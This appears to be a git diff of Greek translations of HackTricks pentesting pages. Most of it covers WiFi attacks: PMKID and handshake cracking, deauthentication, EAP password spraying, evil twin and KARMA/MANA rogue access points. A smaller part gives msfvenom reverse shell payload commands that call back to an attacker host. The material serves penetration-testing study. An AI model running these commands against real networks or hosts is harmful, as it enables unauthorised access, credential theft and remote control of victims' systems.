Τα **PMKIDs που καταγράφηκαν** θα εμφανιστούν στην **κονσόλα** και επίσης θα **αποθηκευτούν** μέσα στο \_ **/tmp/attack.pcap**\_\
Τώρα, μετατρέψτε την καταγραφή σε **hashcat/john** μορφή και σπάστε την:
Τώρα, μετατρέψτε την καταγραφή σε μορφή **hashcat/john** και σπάστε την:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
@ -338,14 +338,14 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Έχω παρατηρήσει ότι μερικοί από τους χειραψίες που καταγράφηκαν με αυτό το εργαλείο δεν μπορούσαν να σπάσουν ακόμη και γνωρίζοντας τον σωστό κωδικό. Θα συνιστούσα να καταγράφετε τις χειραψίες και με παραδοσιακό τρόπο αν είναι δυνατόν, ή να καταγράφετε αρκετές από αυτές χρησιμοποιώντας αυτό το εργαλείο._
_Έχω παρατηρήσει ότι μερικά handshakes που καταγράφηκαν με αυτό το εργαλείο δεν μπορούσαν να σπαστούν ακόμη και γνωρίζοντας τον σωστό κωδικό. Θα συνιστούσα να καταγράφετε τα handshakes και με τον παραδοσιακό τρόπο αν είναι δυνατόν, ή να καταγράφετε αρκετά από αυτά χρησιμοποιώντας αυτό το εργαλείο._
### Χειραψία καταγραφής
### Handshake capture
Μια επίθεση σε δίκτυα **WPA/WPA2** μπορεί να εκτελεστεί καταγράφοντας μια **χειραψία** και προσπαθώντας να **σπάσει** τον κωδικό **εκτός σύνδεσης**. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και **BSSID** σε ένα συγκεκριμένο **κανάλι**. Ακολουθεί ένας απλός οδηγός:
Μια επίθεση σε δίκτυα **WPA/WPA2** μπορεί να εκτελεστεί καταγράφοντας ένα **handshake** και προσπαθώντας να **σπάσει** τον κωδικό **offline**. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και **BSSID** σε ένα συγκεκριμένο **κανάλι**. Ακολουθεί ένας απλός οδηγός:
1. Εντοπίστε το **BSSID**, το **κανάλι** και έναν **συνδεδεμένο πελάτη** του στοχευόμενου δικτύου.
2. Χρησιμοποιήστε το `airodump-ng` για να παρακολουθήσετε την κίνηση του δικτύου στο καθορισμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε μια χειραψία. Η εντολή θα μοιάζει με αυτή:
2. Χρησιμοποιήστε το `airodump-ng` για να παρακολουθήσετε την κυκλοφορία του δικτύου στο καθορισμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε ένα handshake. Η εντολή θα έχει ως εξής:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
@ -353,7 +353,7 @@ airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pca
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
_Σημειώστε ότι καθώς ο πελάτης αποεξουσιοδοτήθηκε, μπορεί να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό δίκτυο._
_Σημειώστε ότι καθώς ο πελάτης αποεξουσιοδοτήθηκε, θα μπορούσε να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό δίκτυο._
Μόλις στο `airodump-ng` εμφανιστούν κάποιες πληροφορίες χειραψίας, αυτό σημαίνει ότι η χειραψία καταγράφηκε και μπορείτε να σταματήσετε να ακούτε:
@ -428,13 +428,13 @@ pyrit -r psk-01.cap analyze
Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο πελάτης συνήθως αυθεντικοποιείται χρησιμοποιώντας PAP ή CHAP, ασφαλισμένο από το τούνελ TLS. Σε αυτή την περίπτωση, ο πελάτης περιλαμβάνει ένα χαρακτηριστικό User-Name και είτε ένα Password είτε ένα CHAP-Password χαρακτηριστικό στο αρχικό μήνυμα TLS που αποστέλλεται μετά την καθιέρωση του τούνελ.
Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Εάν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά στη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από το TTLS), το User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS.
Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Αν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από TTLS), το User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS.
Για περισσότερες πληροφορίες δείτε [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
### EAP-Bruteforce (password spray)
Εάν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρηστών** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
Αν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρήστη** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -456,19 +456,19 @@ pyrit -r psk-01.cap analyze
### Preferred Network Lists (PNLs)
* Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου με το οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες ρύθμισης που σχετίζονται με το δίκτυο.
* Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου στο οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες συγκεκριμένης διαμόρφωσης δικτύου.
* Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία του χρήστη απλοποιώντας τη διαδικασία σύνδεσης.
### Passive Scanning
* Οι APs περιοδικά εκπέμπουν beacon frames, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
* Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για beacon frames. Εάν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
* Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα κακόβουλο AP.
* Οι APs περιοδικά εκπέμπουν πλαίσια beacon, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
* Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για πλαίσια beacon. Εάν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
* Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, εξαπατώντας τη συσκευή να συνδεθεί σε ένα κακόβουλο AP.
### Active Probing
* Η ενεργή αναζήτηση περιλαμβάνει τους σταθμούς να στέλνουν αιτήματα probe για να ανακαλύψουν κοντινά APs και τα χαρακτηριστικά τους.
* Τα κατευθυνόμενα αιτήματα probe στοχεύουν ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο.
* Τα κατευθυνόμενα αιτήματα probe στοχεύουν ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί εάν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο.
* Τα αιτήματα probe εκπομπής έχουν ένα κενό πεδίο SSID και αποστέλλονται σε όλα τα κοντινά APs, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύψει το περιεχόμενο της PNL του.
## Simple AP with redirection to Internet
@ -542,7 +542,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
Η επίθεση κακού διδύμου εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενη κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτεί από τον σταθμό βάσης (σημείο πρόσβασης) να πιστοποιήσει τον εαυτό του στον πελάτη. Σημαντικά σημεία περιλαμβάνουν:
* **Δυσκολία στη Διαφοροποίηση**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων σημείων πρόσβασης όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά σημεία πρόσβασης με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπή.
* **Περιπλάνηση Πελατών και Χειρισμός Σύνδεσης**: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιπλανώνται μεταξύ σημείων πρόσβασης εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσκαλώντας μια συσκευή να αποσυνδεθεί από τον τρέχοντα σταθμό βάσης της και να συνδεθεί σε ένα κακόβουλο. Αυτό μπορεί να επιτευχθεί προσφέροντας ένα ισχυρότερο σήμα ή διακόπτοντας τη σύνδεση με το νόμιμο σημείο πρόσβασης μέσω μεθόδων όπως τα πακέτα απο-πιστοποίησης ή η παρεμβολή.
* **Περιπλάνηση Πελατών και Χειρισμός Σύνδεσης**: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιπλανώνται μεταξύ σημείων πρόσβασης εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσκαλώντας μια συσκευή να αποσυνδεθεί από τον τρέχοντα σταθμό βάσης της και να συνδεθεί σε ένα κακόβουλο. Αυτό μπορεί να επιτευχθεί προσφέροντας ένα ισχυρότερο σήμα ή διαταράσσοντας τη σύνδεση με το νόμιμο σημείο πρόσβασης μέσω μεθόδων όπως τα πακέτα απο-πιστοποίησης ή η παρεμβολή.
* **Προκλήσεις στην Εκτέλεση**: Η επιτυχής εκτέλεση μιας επίθεσης κακού διδύμου σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα σημεία πρόσβασης μπορεί να είναι δύσκολη. Η απο-πιστοποίηση ενός μόνο νόμιμου σημείου πρόσβασης συχνά έχει ως αποτέλεσμα τη σύνδεση της συσκευής σε άλλο νόμιμο σημείο πρόσβασης, εκτός αν ο επιτιθέμενος μπορεί να απο-πιστοποιήσει όλα τα κοντινά σημεία πρόσβασης ή να τοποθετήσει στρατηγικά το κακόβουλο σημείο πρόσβασης.
Μπορείτε να δημιουργήσετε ένα πολύ βασικό Open Evil Twin (χωρίς δυνατότητες δρομολόγησης κυκλοφορίας στο Διαδίκτυο) κάνοντας:
@ -563,7 +563,7 @@ _Ορισμένα λειτουργικά συστήματα και AV θα πρ
### WPA/WPA2 Evil Twin
Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές έχουν ρυθμιστεί να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρώσετε το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**.
Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές είναι ρυθμισμένες να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρωθεί το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
@ -616,7 +616,7 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS_
Μέσα στην **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει _**dh\_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Αυτό θα κάνει το `hostapd-wpe` να **ανταλλάσσει κλειδιά χρησιμοποιώντας RSA** αντί για DH, έτσι θα μπορείτε να **αποκρυπτογραφήσετε** την κίνηση αργότερα **γνωρίζοντας το ιδιωτικό κλειδί του διακομιστή**.
Αυτό θα κάνει το `hostapd-wpe` να **ανταλλάξει κλειδιά χρησιμοποιώντας RSA** αντί για DH, έτσι θα μπορείτε να **αποκρυπτογραφήσετε** την κίνηση αργότερα **γνωρίζοντας το ιδιωτικό κλειδί του διακομιστή**.
Τώρα ξεκινήστε το **Evil Twin** χρησιμοποιώντας **`hostapd-wpe`** με αυτή τη τροποποιημένη διαμόρφωση όπως συνήθως. Επίσης, ξεκινήστε **`wireshark`** στη **διεύθυνση** που εκτελεί την επίθεση Evil Twin.
@ -632,7 +632,7 @@ _Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PE
## KARMA, MANA, Loud MANA και επιθέσεις γνωστών beacon
### ESSID και MAC μαύρες/λευκές λίστες
### Μαύρες/λευκές λίστες ESSID και MAC
Διαφορετικοί τύποι Λιστών Φίλτρων Πρόσβασης Μέσων (MFACLs) και οι αντίστοιχες λειτουργίες και επιδράσεις τους στη συμπεριφορά ενός κακόβουλου Σημείου Πρόσβασης (AP):
@ -665,13 +665,13 @@ name3
```
### KARMA
Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα αναζήτησης** από συσκευές που επιδιώκουν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παγιδεύει τις συσκευές να συνδεθούν στο AP του επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.
Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα ανίχνευσης** από συσκευές που επιθυμούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παγιδεύει τις συσκευές να συνδεθούν στο AP του επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.
### MANA
Στη συνέχεια, **οι συσκευές άρχισαν να αγνοούν τις μη ζητηθείσες απαντήσεις δικτύου**, μειώνοντας την αποτελεσματικότητα της αρχικής επίθεσης karma. Ωστόσο, μια νέα μέθοδος, γνωστή ως **επίθεση MANA**, εισήχθη από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το κακόβουλο AP **να καταγράφει τις Λίστες Προτιμώμενων Δικτύων (PNL) από τις συσκευές απαντώντας στα αιτήματα αναζήτησης τους** με ονόματα δικτύων (SSIDs) που είχαν ζητηθεί προηγουμένως από τις συσκευές. Αυτή η εξελιγμένη επίθεση παρακάμπτει τις προστασίες κατά της αρχικής επίθεσης karma εκμεταλλευόμενη τον τρόπο που οι συσκευές θυμούνται και ιεραρχούν τα γνωστά δίκτυα.
Στη συνέχεια, **οι συσκευές άρχισαν να αγνοούν τις μη ζητηθείσες απαντήσεις δικτύου**, μειώνοντας την αποτελεσματικότητα της αρχικής επίθεσης karma. Ωστόσο, μια νέα μέθοδος, γνωστή ως **επίθεση MANA**, εισήχθη από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το κακόβουλο AP **να καταγράφει τις Λίστες Προτιμώμενων Δικτύων (PNL) από τις συσκευές απαντώντας στα αιτήματα ανίχνευσης που εκπέμπουν** με ονόματα δικτύων (SSIDs) που είχαν ζητηθεί προηγουμένως από τις συσκευές. Αυτή η εξελιγμένη επίθεση παρακάμπτει τις προστασίες κατά της αρχικής επίθεσης karma εκμεταλλευόμενη τον τρόπο που οι συσκευές θυμούνται και ιεραρχούν τα γνωστά δίκτυα.
Η επίθεση MANA λειτουργεί παρακολουθώντας τόσο τα κατευθυνόμενα όσο και τα αιτήματα αναζήτησης εκπομπής από τις συσκευές. Για τα κατευθυνόμενα αιτήματα, καταγράφει τη διεύθυνση MAC της συσκευής και το ζητούμενο όνομα δικτύου, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν ληφθεί ένα αίτημα εκπομπής, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, προσελκύοντας τη συσκευή να συνδεθεί στο κακόβουλο AP.
Η επίθεση MANA λειτουργεί παρακολουθώντας τόσο τα κατευθυνόμενα όσο και τα εκπέμποντα αιτήματα ανίχνευσης από τις συσκευές. Για τα κατευθυνόμενα αιτήματα, καταγράφει τη διεύθυνση MAC της συσκευής και το ζητούμενο όνομα δικτύου, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν ληφθεί ένα εκπέμπον αίτημα, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, προσελκύοντας τη συσκευή να συνδεθεί στο κακόβουλο AP.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -702,15 +702,15 @@ name3
```
## Wi-Fi Direct
**Wi-Fi Direct** είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi-Fi χωρίς την ανάγκη παραδοσιακού ασύρματου σημείου πρόσβασης. Αυτή η δυνατότητα είναι ενσωματωμένη σε διάφορες συσκευές Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την άμεση επικοινωνία συσκευής προς συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό του Wi-Fi Direct είναι ότι μία συσκευή αναλαμβάνει το ρόλο του σημείου πρόσβασης, γνωστό ως ο ιδιοκτήτης της ομάδας, για να διαχειρίζεται τη σύνδεση.
**Wi-Fi Direct** είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi-Fi χωρίς την ανάγκη παραδοσιακού ασύρματου σημείου πρόσβασης. Αυτή η δυνατότητα είναι ενσωματωμένη σε διάφορες συσκευές Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την άμεση επικοινωνία συσκευής προς συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό του Wi-Fi Direct είναι ότι μία συσκευή αναλαμβάνει το ρόλο του σημείου πρόσβασης, γνωστό ως ιδιοκτήτης ομάδας, για να διαχειρίζεται τη σύνδεση.
Η ασφάλεια για τις συνδέσεις Wi-Fi Direct καθορίζεται μέσω του **Wi-Fi Protected Setup (WPS)**, το οποίο υποστηρίζει αρκετές μεθόδους για ασφαλή ζευγοποίηση, συμπεριλαμβανομένων:
* **Push-Button Configuration (PBC)**
* **Είσοδος PIN**
* **Εισαγωγή PIN**
* **Near-Field Communication (NFC)**
Αυτές οι μέθοδοι, ιδιαίτερα η είσοδος PIN, είναι ευάλωτες στις ίδιες αδυναμίες όπως το WPS σε παραδοσιακά δίκτυα Wi-Fi, καθιστώντας τις στόχους για παρόμοιες επιθέσεις.
Αυτές οι μέθοδοι, ιδιαίτερα η εισαγωγή PIN, είναι ευάλωτες στις ίδιες αδυναμίες όπως το WPS σε παραδοσιακά δίκτυα Wi-Fi, καθιστώντας τις στόχους για παρόμοιες επιθέσεις.
### EvilDirect Hijacking
@ -729,9 +729,9 @@ name3
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Ρίξτε μια ματιά στο [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
TODO: Δείτε το [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,14 +15,14 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και hunters bug bounty!
**Ενημερώσεις Hacking**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Ειδήσεις Hack σε Πραγματικό Χρόνο**\
**Νέα Hack σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
@ -221,15 +221,13 @@ msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw
```
{% endcode %}
### **Μπάσα**
{% code overflow="wrap" %}
### **Bash**
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
@ -240,7 +238,7 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι για τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
Μείνετε ενημερωμένοι για τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετάσχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

View file

@ -1,8 +1,8 @@
# Λίστα Ελέγχου - Ανύψωση Δικαιωμάτων Linux
{% hint style="success" %}
Μάθετε και εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε και εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
@ -36,18 +36,18 @@
* [ ] Λάβετε **πληροφορίες OS**
